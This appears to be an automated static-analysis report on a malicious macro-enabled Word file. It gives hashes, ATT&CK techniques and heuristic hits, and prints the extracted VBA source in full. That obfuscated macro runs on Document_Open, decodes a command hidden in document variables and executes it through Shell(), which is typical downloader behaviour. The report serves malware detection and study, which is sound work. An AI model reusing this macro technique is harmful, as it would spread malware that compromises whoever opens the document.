Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a3c5b6350b64a26a…

MALICIOUS

Office (OOXML)

412.8 KB Created: 2020-01-20 01:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 3ea412571f5de5c39eb7430933fcf336 SHA-1: 0c34e2d52feea7194529e2fab64844b1770d7c3b SHA-256: a3c5b6350b64a26a8a93625c210678131729128aa877c1bcc008a7ed5309a02f
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA macro. The macro is triggered by the Document_Open event and uses the Shell() function to execute a payload. The macro attempts to retrieve a variable named 'wca5686554c77' from the document's variables, which likely contains the URL or command for the second-stage payload. The presence of the Document_Open macro and the Shell() call strongly indicate a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2843 bytes
SHA-256: 9c77b49ffaae4849036bd45945d8232f3aa410903cc501b3adcc99c73f372052
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit





              






           




                                                                    Public snottiness As String





                 Sub Document_Open()







            








                                                                nonpurulent







                                                                        




          End Sub
Private Sub nonpurulent()





           







                                                            GoTo pardon







                                        







          







                                                                            






                                        





pardon:





             Dim widish As Long: Dim majorette As String: widish = 1








                                                                            GoTo unpatentable







                                                            




                 




                                                                







unpatentable:






              





                 snottiness = ActiveDocument.Variables("wca5686554c77").Value






                                                                        If widish <= Len(snottiness) Then







                                            GoTo pyrheliometer





             







           







                                                                            






          Else








             





                                                                            Shell majorette
Exit Sub








                  






pyrheliometer:






                                                                        majorette = majorette & Chr(CInt(ActiveDocument.Variables("h1a22b4b8da").Value & Mid(snottiness, widish, 2)) - 58)








                                            






                                            widish = widish + 2





                                        





                                                                            GoTo unpatentable





                                                                        






                End If
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/Microsoft_Word_Document.docx 82193 bytes
SHA-256: 6e9f32a557de37e30b7564208d11b34be9df52908bff1b0bfbcd851e51f55817
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 559e87690268ff61d5393227ead51b300e3d0a076f6daec0f17448b2faebbd17
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 3687320 bytes
SHA-256: 4d305e09b5214c63462bd35e88e9f7c9da546c8d29d0fa07030397397a326b80

Open this report in the interactive analyzer, or submit your own file for analysis.